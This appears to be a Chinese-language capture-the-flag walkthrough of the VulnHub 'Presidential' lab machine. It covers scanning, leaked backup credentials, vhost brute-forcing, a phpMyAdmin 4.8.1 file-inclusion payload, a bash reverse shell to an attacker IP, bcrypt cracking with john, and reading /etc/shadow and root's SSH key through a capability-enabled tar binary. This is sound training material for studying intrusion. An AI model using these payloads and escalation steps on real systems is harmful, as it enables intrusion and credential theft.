第二十七次打靶

靶机介绍

1)靶机地址:https://download.vulnhub.com/presidential/Presidential.ova

2)靶机难度:中

3)打靶目标: 取得 root 权限 + 2Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、备份文件、子域名爆破、phpmyadmin、密码爆破、本地文件包含、Capabilities、本地权限漏洞、SSH公钥认证

5)靶机简介:系统运维人员在进行版本更新时,通常会将老版本的文件改名备份一下,以便在出现异常情况时快速回滚。这原本是个好习惯,但如果升级成功后没有及时删除备份文件,则有可能被攻击者所发现,从而泄漏源码和硬编码的机密信息等。本次打靶们将利用这种方法,发现后台数据库的帐号、密码,找到数据库管理后台的登录页面,但由于后台绑定了指定的子域名,因此需要爆破发现该子域名,从而成功访问phpmyadmin登录页面,进而利用phpmyadmin的已知漏洞,通过文件包含漏洞突破边界。在数据库中会发现系统帐号的密码密文,通过密码爆破,将成功登录系统管理员的低权限帐号。进而利用Capabilities权限配置漏洞,将SSH公钥写入靶机root帐号主目录,并最终通过SSH共钥身份认证完全控制目标靶机。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan --interface eth1 172.24.10.0/24

2)端口扫描

①对目标靶机进行全端口扫描,发现开放了80、2082端口

# nmap -p- 172.24.10.133

②对发现的端口进行服务版本、漏洞扫描

# nmap -p80,2082 -sC -sV  172.24.10.133

通过扫描发现目标操作系统位centos,使用了PHP5.5.35,使用的请求方法为TRACE;将ssh服务默认的22端口,修改为了2082端口

3)对目标靶机80端口的web服务进行信息搜集

①对网页上能点的链接都进行点击,左上角有一个邮箱地址和域名相关

②将域名进行本地hosts文件解析,解析为目标靶机的IP地址

# vi /etc/hosts
172.24.10.133 votenow.local

③通过域名访问网站,发现和通过IP访问一致

④检查源代码,发现存在一些路径,对文件路径进行逐个检查,以及点击网站中所有可点击的链接,未发现任何有用的信息

⑤对网站路径进行爬取

# dirsearch -u http://votenow.local

Ⅰ、对/about.html进行访问,但是点击里面的其他链接,发现均无法打开,并且检查源码无更多信息发现

Ⅱ、访问/config.php,返回的是一个空白页面,说明是一个配置页面,查看源代码也未发现有用信息

#浏览器访问:
http://votenow.local/config.php

Ⅲ、查看/config.php.bak文件,通过文件名可知是一个备份文件,检查源码发现隐藏了数据库账号、密码、数据库名

#浏览器访问:
view-source:http://votenow.local/config.php.bak

⑥通过ssh利用账号votebox登录目标靶机,密码无法使用,发现目标主机使用公钥身份认证,不支持密码连接ssh服务

# ssh [email protected] -p 2082

⑦因网站首页中包含了域名,因此尝试对靶机进行子域名爆破

# gobuster vhost -u http://votenow.local/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt | grep "Status: 200"

通过扫描发现了子域名datasafe.votenow.local

⑧在本地hosts文件中,将域名和靶机IP地址进行绑定

# vim /etc/hosts
172.24.10.133 datasafe.votenow.local

⑨通过访问域名,发现是一个phpmyadmin的页面

#浏览器访问:
http://datasafe.votenow.local

⑩输入之前(第五步)发现的用户名votebox和密码casoj3FFASPsbyoRP登录phpmyadmin,发现直接将进入phpadmin后台

5)在votebox库中发现user表,并且存在admin账号和密码

用户名:admin
密码:$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i

查看phpmyadmin版本

#浏览器访问:
http://datasafe.votenow.local/README

发现phpMyAdmin版本为4.8.1

6)漏洞利用

①通过kali搜索phpmyadmin 4.8.1对应的漏洞利用脚本

#searchsploit phpmyadmin 4.8.1

②查看本地文件漏洞利用文档44928.txt

#cat /usr/share/exploitdb/exploits/php/webapps/44928.txt

根据上述文档描述,需要先执行SQL语句,之后获取到phpmyadmin的登录会话session,通过连接进行利用

③在phpmyadmin中执行SQL语句

select '<?php phpinfo();exit;?>'

④获取到当前页面的session

kf9r6h3q2982gd4638ug6pt84jj6evnk

⑤构造payload

http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_kf9r6h3q2982gd4638ug6pt84jj6evnk
注:需要注意的是在KALI中找到的这个payload  var/lib/php/sessions/多了一个s需要去掉,即将sessions修改为session

从上图可知phpinfo代码被执行,说明可以通过pypmyadmin进行执行攻击性代码

7)反弹shell,突破边界

①先退出phpmyadmin,获取到新的session:94qbri339p5on06g24vkj093sjholq6d

②将phpinfo()修改为system("bash -i >& /dev/tcp 172.24.10.136 4444 0>&1"),执行SQL语句

select '<?php system("bash -i >& /dev/tcp/172.24.10.136/4444 0>&1");exit;?>'

⑦kali进行反弹shell监听,并且继续在浏览器执行上述payload,反弹shell成功,突破边界

#kali主机:
nc -lvvp 4444

#浏览器:
http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_94qbri339p5on06g24vkj093sjholq6d

8)提权信息搜集

①通过查看内核版本为3.10.0,尝试通过脏牛漏洞提权,未成功。且未发现sudo权限

②查看用户文件,在/etc/passwd中发现一个admin账号,并且支持登录

$ cat /etc/passwd

③尝试对phpmyadmin中发现的admin用户的密码进行hash暴力破解,获取到admin的明文密码

#vi hash
$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
# cp /usr/share/wordlists/rockyou.txt.gz  .
# gunzip rockyou.txt.gz
# john --wordlist=rockyou.txt ./hash

通过破解发现,admin用户的明文密码为Stella

④通过su切换至admin用户,密码输入Stella;执行id命令,发现已经是admin用户了

$ su admin
Password: Stella
$id

⑤对终端进行升级

which python
python -c "import pty;pty.spawn('/bin/bash')"

⑥检查发现admin用户不具备sudo和具有suid权限

$ sudo -l
$ find / -user root -perm -4000 -print 2>/dev/null

⑦通过Linux操作系统的capabilities机制进行提权(在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作)

注:Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng;libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities

#查看哪些文件设置了capabilities
$ getcap -r / 2>/dev/null

⑧对上述文件按个查看权限,发现/usr/bin/tarS 属主和属组都是admin权限

$ ls -l /usr/bin/tarS

⑨通过查案tarS命令发现,该命令就相当于tar命令的用法

$ tarS --help

因tarS文件capabilities具备机制,因此可以不受操作系统文件系统的限制,可以读取和搜索操作系统中所有的文件

9)提权

①尝试获取root用户在密码文件中保存的hash密文进行暴力破解,未破解出密码

cd 
tarS  -cvf shadow.tar /etc/shadow 
tar -xvf shadow.tar
cd etc/
chmod 700 shadow
cat shadow 

②尝试通过tarS命令,读取root用户的私钥

$cd 
$tarS -cvf root.tar /root/.ssh/id_rsa
$tar -xvf root.tar
$cat root/.ssh/id_rsa

③通过root用户的私钥,直接登录目标靶机

$ ssh -i id_rsa root@localhost -p 2082
#ls -l
# cat root-final-flag.txt

热门相关:试婚老公,要给力   你好,墨先生   娇妻太甜:老公,要抱抱   试婚100天:夜少,轻轻宠   这个大佬有点苟